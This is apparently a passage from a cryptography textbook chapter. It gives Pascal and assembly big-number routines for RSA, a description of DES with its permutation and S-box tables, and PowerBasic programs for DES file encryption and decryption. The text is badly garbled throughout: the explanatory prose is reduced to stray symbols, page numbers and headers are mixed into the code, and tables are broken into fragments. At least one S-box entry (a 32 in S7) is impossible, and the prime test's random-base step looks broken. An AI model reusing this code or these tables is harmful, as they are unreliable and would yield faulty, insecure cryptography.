procedure BN_a_mul_b(var a,b,res: TBigNum);
var i,j: Integer;
begin
for j := 0 to BIGNUM_DWORD do res[j] := 0;
for i := 0 to BIGNUM_DWORD do
begin
j := i*4;
asm
pushad
mov esi,[a]
mov edi,[b]
add edi,[j]
mov ebx,[res]

385

386

18.

18.2
add ebx,[j]
mov ecx,BIGNUM_DWORD
sub ecx,[i]
cmp ecx,0
je @_mul_2
@_mul_1:
mov eax,[esi]
mov edx,[edi]
mul edx
add [ebx],eax
adc [ebx+4],edx
pushfd
cmp ecx,1
je @_mul_1_1
popfd
adc dword ptr[ebx+8],0
pushfd
@_mul_1_1:
popfd
add esi,4
add ebx,4
loop @_mul_1
@_mul_2:
mov eax,[esi]
mov edx,[edi]
mul edx
add [ebx],eax
popad
end;
end;
end;
procedure BN_a_shl_k(var a: TBigNum; k: Integer; var res: TBigNum);
var i,j: Integer;
var d,u: Cardinal;
begin
for j := 0 to BIGNUM_DWORD do res[j] := a[j];
if (k<=0) then Exit;
for j := 0 to BIGNUM_DWORD do res[j] := 0;
i := k div 32;

RSA
18.2
if (i>BIGNUM_DWORD) then Exit;
for j := i to BIGNUM_DWORD do
res[j] := a[j-i];
i := k mod 32;
if (i=0) then Exit;
d := 0;
for j := 0 to BIGNUM_DWORD do
begin
u := res[j] shr (32-i);
res[j] := (res[j] shl i) + d;
d := u;
end;
end;
procedure BN_a_shr_k(var a: TBigNum; k: Integer;
var res: TBigNum);
var i,j: Integer;
var d,u: Cardinal;
begin
for j := 0 to BIGNUM_DWORD do res[j] := a[j];
if (k<=0) then Exit;
for j := 0 to BIGNUM_DWORD do res[j] := 0;
i := k div 32;
if (i>BIGNUM_DWORD) then Exit;
for j := i to BIGNUM_DWORD do
res[j-i] := a[j];
i := k mod 32;
if (i=0) then Exit;
u := 0;
for j := BIGNUM_DWORD downto 0 do
begin
d := res[j] shl (32-i);
res[j] := (res[j] shr i) + u;
u := d;
end;
end;
function BN_a_upbit(var a: TBigNum): Integer;
var i,j: Integer;
begin
i := BIGNUM_DWORD;
while (i>=0) and (a[i]=0) do Dec(i);

387

388

18.

18.2
Result := 0;
if (i<0) then Exit;
j := 31;
while (j>0) and (a[i] and (1 shl j) = 0) do Dec(j);
Result := i*32 + j + 1;
end;
procedure BN_a_setbit_k(var a: TBigNum; k: Integer);
begin
if (k<0) or (k>32*BIGNUM_DWORD-1) then
begin
Exit;
end;
a[k shr 5] := a[k shr 5] or (1 shl (k and 31));
end;
procedure BN_a_mod_b(var a,b,res: TBigNum);
var k: Integer;
var n1,n2,n3: TBigNum;
begin
FillChar(n3,sizeof(n3),0);
if (BN_a_cmp_b(b,n3)=0) then Exit;
Move(a,n1,sizeof(a));
while (BN_a_cmp_b(n1,b)>=0) do
begin
k := BN_a_upbit(n1) - BN_a_upbit(b);
BN_a_shl_k(b,k,n2);
if (BN_a_cmp_b(n2,n1)>0) then
begin
BN_a_shr_k(n2,1,n3);
Move(n3,n2,sizeof(n3));
end;
BN_a_sub_b(n1,n2,n3);
Move(n3,n1,sizeof(n3));
end;
Move(n1,res,sizeof(n1));
end;
procedure BN_a_div_b(var a,b,res: TBigNum);
var k: Integer;
var n1,n2,n3: TBigNum;
begin

RSA
18.2
FillChar(res,sizeof(res),0);
FillChar(n3,sizeof(n3),0);
if (BN_a_cmp_b(b,n3)=0) then Exit;
Move(a,n1,sizeof(a));
while (BN_a_cmp_b(n1,b)>=0) do
begin
k := BN_a_upbit(n1) - BN_a_upbit(b);
BN_a_shl_k(b,k,n2);
if (BN_a_cmp_b(n2,n1)>0) then
begin
BN_a_shr_k(n2,1,n3);
Move(n3,n2,sizeof(n3));
Dec(k);
end;
BN_a_sub_b(n1,n2,n3);
Move(n3,n1,sizeof(n3));
BN_a_setbit_k(res,k);
end;
end;
procedure BN_a_exp_b_mod_c(var a,b,c,res: TBigNum);
var i,n: Integer;
var n1,n2,n3: TBigNum;
begin
FillChar(n3,sizeof(n3),0);
if (BN_a_cmp_b(c,n3)=0) then Exit;
for i := 0 to BIGNUM_DWORD do res[i] := 0;
if (BN_a_cmp_b(b,n3)=0) then
begin
res[0] := 1;
Exit;
end;
Move(a,n1,sizeof(a));
for i := 0 to BIGNUM_DWORD do n2[i] := 0;
n2[0] := 1;
n := BN_a_upbit(b)-1;
i := 0;
while (i<=n) do
begin
if ( (b[i shr 5] shr (i and 31)) and 1 = 1 ) then
begin

389

390

18.

18.2
BN_a_mul_b(n2,n1,n3);
BN_a_mod_b(n3,c,n2);
end;
BN_a_mul_b(n1,n1,n3);
BN_a_mod_b(n3,c,n1);
Inc(i);
end;
Move(n2,res,sizeof(n2));
end;
procedure BN_ab_GCD(var a,b,res: TBigNum);
var i: Integer;
var n1,n2,n3,nzero: TBigNum;
begin
res[0] := 1;
for i := 1 to BIGNUM_DWORD do res[i] := 0;
for i := 0 to BIGNUM_DWORD do nzero[i] := 0;
if (BN_a_cmp_b(a,nzero)=0) or (BN_a_cmp_b(b,nzero)=0) then
Exit;
if (BN_a_cmp_b(a,b)>0) then
begin
Move(a,n1,sizeof(a));
Move(b,n2,sizeof(a));
end
else
begin
Move(b,n1,sizeof(a));
Move(a,n2,sizeof(a));
end;
while (BN_a_cmp_b(n2,nzero)<>0) do
begin
BN_a_mod_b(n1,n2,n3);
Move(n2,n1,sizeof(n1));
Move(n3,n2,sizeof(n3));
end;
Move(n1,res,sizeof(n1));
end;
procedure BN_a_modinv_b(var a,b,res: TBigNum);
var i: Integer;
var n1,n2,n3,n4,n5,n6,n7: TBigNum;
var nzero,none: TBigNum;

RSA
18.2
begin
for i := 0 to BIGNUM_DWORD do res[i] := 0;
for i := 0 to BIGNUM_DWORD do nzero[i] := 0;
for i := 0 to BIGNUM_DWORD do none[i] := 0; none[0] := 1;
BN_ab_GCD(a,b,n4);
if (BN_a_cmp_b(n4,none)<>0) then Exit;
Move(b,n1,sizeof(a));
Move(a,n2,sizeof(a));
Move(none,n7,sizeof(a));
repeat
BN_a_div_b(n1,n2,n3);
BN_a_mod_b(n1,n2,n4);
Move(n2,n1,sizeof(n2));
Move(n4,n2,sizeof(n2));
BN_a_mul_b(n3,n7,n5);
BN_a_sub_b(res,n5,n6);
Move(n7,res,sizeof(n7));
Move(n6,n7,sizeof(n6));
until (BN_a_cmp_b(n4,nzero)=0);
if (res[BIGNUM_DWORD] and $80000000 <> 0) then
begin
BN_a_add_b(res,b,n7);
Move(n7,res,sizeof(n6));
end;
end;
function BN_PrimeTest(var a: TBigNum): Integer;
var i,j: Integer;
var oldseed: LongInt;
var nzero,none,nn: TBigNum;
var n1,n2,n3,n4: TBigNum;
begin
Result := 0;
for i := 0 to BIGNUM_DWORD do nzero[i] := 0;
for i := 0 to BIGNUM_DWORD do none[i] := 0; none[0] := 1;
for i := 0 to BIGNUM_DWORD do nn[i] := 0; nn[0] := 256;
if (BN_a_cmp_b(a,nzero)=0) then Exit;
if (BN_a_cmp_b(a,none)=0) then begin Result := 1; Exit; end;
if (BN_a_cmp_b(a,nn)<=0) then
begin
i := 0;

391

392

18.

18.2
while (i<=53) and (Cardinal(primes[i])<>a[0]) do Inc(i);
if (i>53) then Exit;
Result := 1;
Exit;
end;
Move(nzero,n1,sizeof(nzero));
i := 0;
n1[0] := primes[i];
BN_a_mod_b(a,n1,n2);
while (i<=53) and (BN_a_cmp_b(n2,nzero)>0) do
begin
Inc(i);
if (i>53) then Break;
n1[0] := primes[i];
BN_a_mod_b(a,n1,n2);
end;
if (i<=53) then Exit;
Move(nzero,n1,sizeof(nzero));
BN_a_sub_b(a,none,n2);
i := 0;
n1[0] := primes[i];
BN_a_exp_b_mod_c(n1,n2,a,n3);
BN_a_sub_b(n3,none,n4);
BN_a_mod_b(n4,a,n3);
while (i<=50) and (BN_a_cmp_b(n3,nzero)=0) do
begin
Inc(i);
if (i>50) then Break;
n1[0] := primes[i];
BN_a_exp_b_mod_c(n1,n2,a,n3);
BN_a_sub_b(n3,none,n4);
BN_a_mod_b(n4,a,n3);
end;
if (i<=50) then Exit;
BN_a_sub_b(a,none,n2);
i := 0;
oldseed := RandSeed;
for j := 0 to BIGNUM_DWORD do
begin
n4[j] := Random(2);

RSA

393

18.2
n4[j] := Cardinal(RandSeed);
end;
BN_a_mod_b(n4,a,n1);
BN_a_exp_b_mod_c(n1,n2,a,n3);
BN_a_sub_b(n3,none,n4);
BN_a_mod_b(n4,a,n3);
while (i<=50) and (BN_a_cmp_b(n3,nzero)=0) do
begin
Inc(i);
if (i>50) then Break;
for j := 0 to BIGNUM_DWORD do
begin
n4[j] := Random(2);
n4[j] := Cardinal(RandSeed);
end;
BN_a_mod_b(n4,a,n1);
BN_a_exp_b_mod_c(n1,n2,a,n3);
BN_a_sub_b(n3,none,n4);
BN_a_mod_b(n4,a,n3);
end;
RandSeed := oldseed;
if (i<=50) then Exit;
Result := 1;
end;
end.

() RSA
. , , d e
, . .
, m . . m d e: = md(md
n). m||c. , c e s = m ( ) s m .

m
=(3,
1,
2),
c = (27, 1, 8), m || = (3, 1, 2, 27, 1, 8).
, , . , c = md(mod n)

394

18.

c = (h(m))d(mod n). h, -, , , m z h(m) = h(z) .

DES
(DES Data Encryption Standard)
1977 .
, , .
DES ,
(ECB 1trnic dbk d).
,
.


. n , n . n . , n,
, .
. DES n = 64.
ECB 16 , . . 18.7.
() : B = (L ,
R). (Xi), (X). , , .
Y =
f(R,X). .
(L, R), (R, L f(R, X)),
2. , i : Ri = Li-1 f(Ri-1,
Xi), Li = Ri-1 (i = 1,,16).
DES 64- 16 .
. 18.1
(IP initial permutation). L R , .
IP-1,
. .

DES

395

. 18.7. - DES
18.1. IP
58

50

42

34

26

18

10

60

52

44

36

28

20

12

62

54

46

38

30

22

14

64

56

48

40

32

24

16

57

49

41

33

25

17

59

51

43

35

27

19

11

61

53

45

37

29

21

13

63

55

47

39

31

23

15

396

18.

(. 18.8)

X 56 Xi
48 . X ,
.
, PC1 (. 18.2), X 56 ,
(C D) 28 . , i, .
,
.
(C, D). ,
. 18.8.
PC2 (. 18.3),
48 Xi. (. 18.4).
18.2. PC1

57

49

41

33

25

17

63

55

47

39

31

23

15

58

50

42

34

26

18

62

54

46

38

30

22

10

59

51

43

35

27

14

61

53

45

37

29

19

11

60

52

44

36

21

13

28

20

12

18.3. PC2
14

17

11

24

28

15

21

10

23

19

12

26

16

27

20

13

41

52

31

37

47

55

30

40

51

45

33

48

44

49

39

56

34

53

46

42

50

36

29

32

18.218.4 . ,
, . , . s ,

DES

397

bs . s
bs.
18.4. DES

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16


()

1 1 2 2 2 2 2 2 1 2 2 2 2 2 2 1


()

1 1 2 2 2 2 2 2 1 2 2 2 2 2 2 1

.
1. Ri-1 48

EP (. 18.5).
2.

Xi.

3. (

S-), 32 .
4. P (. 18.6),
Y = f(R,X).
18.5. EP

18.6. P

32

16

20

21

29

12

28

17

15

23

26

18

31

10

10

11

12

13

24

14

32

27

12

13

14

15

16

17

19

13

30

22

11

25

16

17

18

19

20

21

20

21

22

23

24

25

24

25

26

27

28

29

28

29

30

31

32

S-
, 48- 32-,
8 (S-) 4 16 (. 18.7).
S- . 48- 8 6 . () S-, ..
, 4 S-, . Si (i = 1, , 8) . 18.7.
18.7. S - DES

398

18.

S1

10

11

12

13

14

15

0
1
2
3

14
0
4
15

4
15
1
12

13
7
14
8

1
4
8
2

2
14
13
4

15
2
6
9

11
13
2
1

8
1
11
7

3
10
15
5

10
6
12
11

6
12
9
3

12
11
7
14

5
9
3
10

9
5
10
0

0
3
5
6

7
8
0
13

S2

10

11

12

13

14

15

0
1
2
3

15
3
0
13

1
13
14
8

8
4
7
10

14
7
11
1

6
15
10
3

11
2
4
15

3
8
13
4

4
14
1
2

9
12
5
11

7
0
8
6

2
1
12
7

13
10
6
12

12
6
9
0

0
9
3
5

5
11
2
14

10
5
15
9

S3

10

11

12

13

14

15

0
1
2
3

10
13
13
1

0
7
6
10

9
0
4
13

14
9
9
0

6
3
8
6

3
4
15
9

15
6
3
8

5
10
0
7

1
2
11
4

13
8
1
15

12
5
2
14

7
14
12
3

11
12
5
11

4
11
10
5

2
15
14
2

8
1
7
12

S4

10

11

12

13

14

15

0
1
2
3

7
13
10
3

13
8
6
15

14
11
9
0

3
5
0
6

0
6
12
10

6
15
11
1

9
0
7
13

10
3
13
8

1
4
15
9

2
7
1
4

8
2
3
5

5
12
14
11

11
1
5
12

12
10
2
7

4
14
8
2

15
9
4
14

S5

10

11

12

13

14

15

0
1
2
3

2
14
4
11

12
11
2
8

4
2
1
12

1
12
11
7

7
4
10
1

10
7
13
14

11
13
7
2

6
1
8
13

8
5
15
6

5
0
9
15

3
15
12
0

15
10
5
9

13
3
6
10

0
9
3
4

14
8
0
5

9
6
14
3

S6

10

11

12

13

14

15

0
1
2
3

12
10
9
4

1
15
14
3

10
4
15
2

15
2
5
12

9
7
2
9

2
12
8
5

6
9
12
15

8
5
3
10

0
6
7
11

13
1
0
14

3
13
4
1

4
14
10
7

14
0
1
6

7
11
13
0

5
3
11
8

11
8
6
13

10

11

12

13

14

15

18.7
S7

DES

399

0
1
2
3

4
13
1
6

11
0
4
11

2
11
11
13

14
7
13
8

15
4
12
1

0
9
3
4

8
1
7
10

13
10
14
7

3
14
10
9

32
3
15
5

9
5
6
0

7
12
8
15

5
2
0
14

10
15
5
2

6
8
9
3

1
6
2
12

S8

10

11

12

13

14

15

0
1
2
3

13
1
7
2

2
15
11
1

8
13
4
14

4
8
1
7

6
10
9
4

15
3
12
10

11
7
14
8

1
4
2
13

10
12
0
15

9
5
6
12

3
6
10
9

14
11
13
0

5
0
15
3

0
14
3
5

12
9
5
6

7
2
8
11

DES 18.3 18.4 (


PowerBasic).
18.3.
DES Basic
$CPU 80386
$FLOAT NPX
$OPTIMIZE SPEED
$LIB ALL$OPTION CNTLBREAK ON
DECLARE FUNCTION MYBIN$ (n%)
DECLARE FUNCTION desalg$ (a$)
DECLARE SUB f (i%, a%(), x%())
DECLARE SUB transpose (datax%(), T%(), n%)
DECLARE SUB mrotate (keyx%())
DECLARE
DECLARE
DECLARE
DECLARE
DECLARE

SUB
SUB
SUB
SUB
SUB

stob (a$, mbits%())


btos (mbits%(), a$)
letbe (target%(), source%(), LAST%)
init (x() AS INTEGER, n%)
sboxinit (b() AS INTEGER)

DECLARE SUB xtob (a$, mbits%())


DIM s(1 TO 8, 1 TO 64) AS shared INTEGER

400

18.

18.3
'
RESTORE InitialTrl
DIM InitialTr(1 TO 64) AS shared INTEGER
init InitialTr(), 64
RESTORE FinalTrl
DIM FinalTr(1 TO 64) AS shared INTEGER
init FinalTr(), 64
RESTORE swappyl
DIM swappy(1 TO 64) AS shared INTEGER
init swappy(), 64
RESTORE KeyTr1l
DIM KeyTr1(1 TO 56) AS shared INTEGER
init KeyTr1(), 56
RESTORE KeyTr2l
DIM KeyTr2(1 TO 48) AS shared INTEGER
init KeyTr2(), 48
RESTORE etrl
DIM etr(1 TO 48) AS shared INTEGER
init etr(), 48
RESTORE ptrl
DIM ptr(1 TO 32) AS shared INTEGER
init ptr(), 32
sboxinit s()
RESTORE rotsl
DIM rots(1 TO 16) AS shared INTEGER
init rots(), 16
DIM XR(1 TO 56) AS shared INTEGER
DIM EF(1 TO 64) AS shared INTEGER
DIM ikeyf(1 TO 64) AS shared INTEGER
DIM yf(1 TO 64) AS shared INTEGER

DES
18.3
DIM ades(1 TO 64) AS shared INTEGER
DIM bdes(1 TO 64) AS shared INTEGER
DIM xdes(1 TO 64) AS shared INTEGER
DIM XT(1 TO 64)

AS shared INTEGER

DIM P2(1 TO 64)

AS shared INTEGER

'
main:
CLS
parm$ = ltrim$(rtrim$(COMMAND$))+" "
IF LEN(parm$) > 1 THEN
Plainf$ = LTRIM$(RTRIM$(LEFT$(parm$, INSTR(parm$, " "))))
PRINT " : "; Plainf$
ELSE
INPUT " : ", plainf$
END IF
if len(plainf$)=0 then
print : print ": !"
system
end if
OPEN plainf$ FOR RANDOM AS 1
lof1& = LOF(1)
IF lof1& = 0 THEN
CLOSE #1
KILL plainf$
PRINT : PRINT " !";
SYSTEM
ELSE
IF lof1& > 9999999 THEN PRINT : PRINT "
!": SYSTEM
CLOSE #1
OPEN plainf$ for binary access read as #1
END IF
cipherf$ = ""
sp0% = 0: sp% = 0
DO
sp0% = sp%
sp% = INSTR(sp% + 1, plainf$, "\")

401

402

18.

18.3
LOOP WHILE sp% > 0
bplainf$ = RIGHT$(plainf$, LEN(plainf$) - (sp0%))
PRINT " : "; bplainf$
pp% = INSTR(sp0% + 1, plainf$, ".")
IF pp% = 0 THEN
dcipherf$ = plainf$ + ".DES"
ELSE
dcipherf$ = LEFT$(plainf$, pp% - 1) + ".DES"
END IF
PRINT " : "; dcipherf$
INPUT " : ", cipherf$
IF cipherf$ = "" THEN cipherf$ = dcipherf$
OPEN cipherf$ FOR RANDOM AS 2
IF LOF(2) > 0 THEN
CLOSE #2
PRINT : PRINT " !"
SYSTEM
ELSE
CLOSE #2
OPEN cipherf$ FOR binary AS 2
END IF
PW$ = ""
LOCATE 9, 1
INPUT ; "

: ", PW$

IF (LEN(PW$) < 8) THEN PW$ = PW$ + STRING$(8 - LEN(PW$), 0)


IF len(pw$) = 16 then
LOCATE 9, 8: PRINT " : "; STRING$(16, 15); STRING$(10, " ")
PW$ = ucase$(PW$)
xtob PW$, P2()
ELSE
LOCATE 9, 8: PRINT " : "; STRING$(8, 15); STRING$(10, " ")
PW$ = LEFT$(PW$, 8)
stob PW$, P2()
end IF

DES

403

18.3
transpose P2(), KeyTr1(), 56
ciphertekst$ = ""
blocks& = lof1& \ 256
w = RND(-INT(TIMER))
anything$ = ""
FOR i% = 1 TO 12
anything$ = anything$ + CHR$(128 + INT(127 * RND(1)))
NEXT i%
header$ = "#" + LTRIM$(STR$(lof1&))
header$ = "DES" + LEFT$(anything$, 8 - LEN(header$)) + header$
header$ = header$ + RIGHT$(anything$, 12 - LEN(bplainf$)) +
"#" + bplainf$
cheader$=desalg$(left$(header$,8))+desalg$(MID$(header$,9,8))+d
esalg$(right$(header$,8))
put$ #2, cheader$
LOCATE 10, 8:

PRINT ; ":

0 %";

inblock$=space$(256)
FOR n& = 1 TO blocks&
get$ #1,256,inblock$
outblock$=""
for b%=1 to 256 step 8
outblock$ = outblock$+desalg$(mid$(inblock$,b%,8))
next
Put$ #2, outblock$
LOCATE 10, 19: PRINT ; USING "###"; (n& / blocks&) * 100;
NEXT n&
rest1 = lof1& MOD 256
rest2 = lof1& MOD 8
rest = rest1-rest2
IF rest1 > 0 THEN
outblock$=""
get$ #1,rest1,inblock$

404

18.

18.3
if rest2 > 0 then
inblock$=inblock$+left$(anything$,(8-rest2))
end if
for b%=1 to len(inblock$) step 8
outblock$ = outblock$+desalg$(mid$(inblock$,b%,8))
next
Put$ #2, outblock$
END IF
CLOSE
LOCATE 10, 19: PRINT "100 % "
PRINT : PRINT " DES ."
PRINT
SYSTEM
'
InitialTrl:
DATA 58,50,42,34,26,18,10,02,60,52,44,36,28,20,12,04
DATA 62,54,46,38,30,22,14,06,64,56,48,40,32,24,16,08
DATA 57,49,41,33,25,17,09,01,59,51,43,35,27,19,11,03
DATA 61,53,45,37,29,21,13,05,63,55,47,39,31,23,15,07
FinalTrl:
DATA 40,08,48,16,56,24,64,32,39,07,47,15,55,23,63,31
DATA 38,06,46,14,54,22,62,30,37,05,45,13,53,21,61,29
DATA 36,04,44,12,52,20,60,28,35,03,43,11,51,19,59,27
DATA 34,02,42,10,50,18,58,26,33,01,41,09,49,17,57,25
swappyl:
DATA 33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48
DATA 49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64
DATA 01,02,03,04,05,06,07,08,09,10,11,12,13,14,15,16
DATA 17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
KeyTr1l:
DATA 57,49,41,33,25,17,09,01,58,50,42,34,26,18,10,02
DATA 59,51,43,35,27,19,11,03,60,52,44,36
DATA 63,55,47,39,31,23,15,07,62,54,46,38,30,22,14,06
DATA 61,53,45,37,29,21,13,05,28,20,12,04

DES
18.3
KeyTr2l:
DATA 14,17,11,24,01,05,03,28,15,06,21,10,23,19,12,04
DATA 26,08,16,07,27,20,13,02,41,52,31,37,47,55,30,40
DATA 51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32
etrl:
DATA 32,01,02,03,04,05,04,05,06,07,08,09,08,09,10,11
DATA 12,13,12,13,14,15,16,17,16,17,18,19,20,21,20,21
DATA 22,23,24,25,24,25,26,27,28,29,28,29,30,31,32,01
ptrl:
DATA 16,07,20,21,29,12,28,17,01,15,23,26,05,18,31,10
DATA 02,08,24,14,32,27,03,09,19,13,30,06,22,11,04,25
sboxesl:
DATA 14,04,13,01,02,15,11,08,03,10,06,12,05,09,00,07
DATA 00,15,07,04,14,02,13,01,10,06,12,11,09,05,03,08
DATA 04,01,14,08,13,06,02,11,15,12,09,07,03,10,05,00
DATA 15,12,08,02,04,09,01,07,05,11,03,14,10,00,06,13
DATA
DATA
DATA
DATA

15,01,08,14,06,11,03,04,09,07,02,13,12,00,05,10
03,13,04,07,15,02,08,14,12,00,01,10,06,09,11,05
00,14,07,11,10,04,13,01,05,08,12,06,09,03,02,15
13,08,10,01,03,15,04,02,11,06,07,12,00,05,14,09

DATA
DATA
DATA
DATA

10,00,09,14,06,03,15,05,01,13,12,07,11,04,02,08
13,07,00,09,03,04,06,10,02,08,05,14,12,11,15,01
13,06,04,09,08,15,03,00,11,01,02,12,05,10,14,07
01,10,13,00,06,09,08,07,04,15,14,03,11,05,02,12

DATA
DATA
DATA
DATA

07,13,14,03,00,06,09,10,01,02,08,05,11,12,04,15
13,08,11,05,06,15,00,03,04,07,02,12,01,10,14,09
10,06,09,00,12,11,07,13,15,01,03,14,05,02,08,04
03,15,00,06,10,01,13,08,09,04,05,11,12,07,02,14

DATA
DATA
DATA
DATA

02,12,04,01,07,10,11,06,08,05,03,15,13,00,14,09
14,11,02,12,04,07,13,01,05,00,15,10,03,09,08,06
04,02,01,11,10,13,07,08,15,09,12,05,06,03,00,14
11,08,12,07,01,14,02,13,06,15,00,09,10,04,05,03

405

406

18.

18.3
DATA
DATA
DATA
DATA

12,01,10,15,09,02,06,08,00,13,03,04,14,07,05,11
10,15,04,02,07,12,09,05,06,01,13,14,00,11,03,08
09,14,15,05,02,08,12,03,07,00,04,10,01,13,11,06
04,03,02,12,09,05,15,10,11,14,01,07,06,00,08,13

DATA
DATA
DATA
DATA

04,11,02,14,15,00,08,13,03,12,09,07,05,10,06,01
13,00,11,07,04,09,01,10,14,03,05,12,02,15,08,06
01,04,11,13,12,03,07,14,10,15,06,08,00,05,09,02
06,11,13,08,01,04,10,07,09,05,00,15,14,02,03,12

DATA
DATA
DATA
DATA

13,02,08,04,06,15,11,01,10,09,03,14,05,00,12,07
01,15,13,08,10,03,07,04,12,05,06,11,00,14,09,02
07,11,04,01,09,12,14,02,00,06,10,13,15,03,05,08
02,01,14,07,04,10,08,13,15,12,09,00,03,05,06,11

rotsl:
DATA 1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1
SUB btos (mbits() AS INTEGER, a$)
a$ = ""
FOR i% = 1 TO 8
w% = 0
FOR j% = 1 TO 8
w% = w% + ((mbits(((i% - 1) * 8) + j%)) * (2 ^ (8 - j%)))
NEXT j%
a$ = a$ + CHR$(w%)
NEXT i%
END SUB
FUNCTION desalg$ (a$)
temp$ = ""
stob a$, ades()
transpose ades(), InitialTr(), 64
FOR i% = 1 TO 16
letbe bdes(), ades(), 64
FOR j% = 1 TO 32
ades(j%) = bdes(j% + 32)
NEXT j%
f i%, ades(), xdes()
FOR j% = 1 TO 32
ades(j% + 32) = (bdes(j%) + xdes(j%)) MOD 2

DES

407

18.3
NEXT j%
NEXT i%
transpose ades(), swappy(), 64
transpose ades(), FinalTr(), 64
btos ades(), temp$
desalg$ = temp$
END FUNCTION
SUB f (i%, a() AS INTEGER, x() AS INTEGER)
h% = i%: letbe EF(), a(), 64
transpose EF(), etr(), 48
FOR j% = 1 TO rots(h%)
mrotate P2()
NEXT j%
letbe ikeyf(), P2(), 64: transpose ikeyf(), KeyTr2(), 48
FOR j% = 1 TO 48
yf(j%) = (EF(j%) + ikeyf(j%)) MOD 2
NEXT j%
FOR k% = 1 TO 8
k6% = 6 * k%: k4% = 4 * k%
r% = (32 * yf(k6% - 5)) + (16 * yf(k6%)) + (8 * yf(k6% - 4)) +
(4 * yf(k6% - 3)) + (2 * yf(k6% - 2)) + yf(k6% - 1) + 1
x(k4% - 3) = (s(k%, r%) \ 8) MOD 2: x(k4% - 2) = (s(k%, r%) \
4) MOD 2
x(k4% - 1) = (s(k%, r%) \ 2) MOD 2: x(k4%) = s(k%, r%) MOD 2
NEXT k%
transpose x(), ptr(), 32
END SUB
SUB init (x() AS INTEGER, n%)
FOR i% = 1 TO n%
READ x(i%)
NEXT i%
END SUB
SUB letbe (target() AS INTEGER, source() AS INTEGER, LAST%)
FOR i% = 1 TO LAST%
target(i%) = source(i%)
NEXT i%
END SUB

408

18.

18.3
FUNCTION MYBIN$ (n%)
LOCAL ST$
p% = n%
ST$=""
FOR i% = 1 TO 8
IF (p% MOD 2) THEN
ST$ = "1" + ST$
ELSE
ST$ = "0" + ST$
END IF
p% = p% \ 2
NEXT i%
MYBIN$ = ST$
END FUNCTION
SUB mrotate (keyr() AS INTEGER)
letbe XR(), keyr(), 56
FOR i% = 1 TO 55
XR(i%) = XR(i% + 1)
NEXT i%
XR(28) = keyr(1): XR(56) = keyr(29)
letbe keyr(), XR(), 56
END SUB
SUB sboxinit (b() AS INTEGER)
RESTORE sboxesl
FOR i% = 1 TO 8
FOR j% = 1 TO 64
READ b(i%, j%)
NEXT j%
NEXT i%
END SUB
SUB stob (a$, mbits() AS INTEGER)
FOR i% = 1 TO 8
b$ = MYBIN$(ASC(MID$(a$, i%, 1)))
FOR j% = 1 TO 8
mbits(((i% - 1) * 8) + j%) = ASC(MID$(b$, j%, 1)) - 48
NEXT j%
NEXT i%
END SUB

DES
18.3
SUB transpose (datax() AS INTEGER, T() AS INTEGER, n%)
letbe XT(), datax(), 64
FOR i% = 1 TO n%
datax(i%) = XT(T(i%))
NEXT i%
END SUB
SUB xtob (a$, mbits() AS INTEGER)
LOCAL X$,NIBBLE$
FOR i% = 1 to 16
X$ = MID$(a$,i%,1)
SELECT CASE X$
CASE "0"
NIBBLE$ = "0000"
CASE "1"
NIBBLE$ = "0001"
CASE "2"
NIBBLE$ = "0010"
CASE "3"
NIBBLE$ = "0011"
CASE "4"
NIBBLE$ = "0100"
CASE "5"
NIBBLE$ = "0101"
CASE "6"
NIBBLE$ = "0110"
CASE "7"
NIBBLE$ = "0111"
CASE "8"
NIBBLE$ = "1000"
CASE "9"
NIBBLE$ = "1001"
CASE "A"
NIBBLE$ = "1010"
CASE "B"
NIBBLE$ = "1011"
CASE "C"
NIBBLE$ = "1100"
CASE "D"
NIBBLE$ = "1101"
CASE "E"

409

410

18.

18.3
NIBBLE$ = "1110"
CASE "F"
NIBBLE$ = "1111"
CASE ELSE
Print " 16- !"
SYSTEM
END SELECT
FOR j% = 1 to 4
mbits(((i% - 1) * 4) + j%) = ASC(MID$(NIBBLE$, j%, 1)) - 48
NEXT j%
NEXT i%
END SUB
18.4.
DES Basic
$CPU 80386
$FLOAT NPX
$OPTIMIZE SPEED
$LIB ALL$OPTION CNTLBREAK ON
DECLARE FUNCTION MYBIN$ (n%)
DECLARE FUNCTION desalg$ (a$)
DECLARE SUB f (i%, a%(), x%())
DECLARE SUB transpose (datax%(), T%(), n%)
DECLARE SUB mrotate (keyx%())
DECLARE
DECLARE
DECLARE
DECLARE
DECLARE

SUB
SUB
SUB
SUB
SUB

stob (a$, mbits%())


btos (mbits%(), a$)
letbe (target%(), source%(), last%)
init (x() AS INTEGER, n%)
sboxinit (b() AS INTEGER)

DECLARE SUB xtob (a$, mbits%())


DIM s(1 TO 8, 1 TO 64) AS shared INTEGER
'
RESTORE InitialTrl

DES
18.4
DIM InitialTr(1 TO 64) AS shared INTEGER
init InitialTr(), 64
RESTORE FinalTrl
DIM FinalTr(1 TO 64) AS shared INTEGER
init FinalTr(), 64
RESTORE swappyl
DIM swappy(1 TO 64) AS shared INTEGER
init swappy(), 64
RESTORE KeyTr1l
DIM KeyTr1(1 TO 56) AS shared INTEGER
init KeyTr1(), 56
RESTORE KeyTr2l
DIM KeyTr2(1 TO 48) AS shared INTEGER
init KeyTr2(), 48
RESTORE etrl
DIM etr(1 TO 48) AS shared INTEGER
init etr(), 48
RESTORE ptrl
DIM ptr(1 TO 32) AS shared INTEGER
init ptr(), 32
sboxinit s()
RESTORE rotsl
DIM rots(1 TO 16) AS shared INTEGER
init rots(), 16
DIM XR(1 TO 56) AS shared INTEGER
DIM EF(1 TO 64) AS shared INTEGER
DIM ikeyf(1 TO 64) AS shared INTEGER
DIM yf(1 TO 64) AS shared INTEGER
DIM ades(1 TO 64) AS shared INTEGER
DIM bdes(1 TO 64) AS shared INTEGER

411

412

18.

18.4
DIM xdes(1 TO 64) AS shared INTEGER
DIM XT(1 TO 64)

AS shared INTEGER

DIM P2(1 TO 64) AS shared INTEGER


main:
CLS
parm$ = ltrim$(rtrim$(COMMAND$))+" "
IF LEN(parm$) > 1 THEN
cipherf$ = LTRIM$(RTRIM$(LEFT$(parm$, INSTR(parm$, " "))))
PRINT " : "; cipherf$
ELSE
INPUT " : ", cipherf$
END IF
if len(cipherf$)=0 then
print : print ": !"
system
end if
OPEN cipherf$ FOR RANDOM AS 1
lof1& = LOF(1)
IF lof1& = 0 THEN
CLOSE #1
KILL cipherf$
PRINT : PRINT " !";
SYSTEM
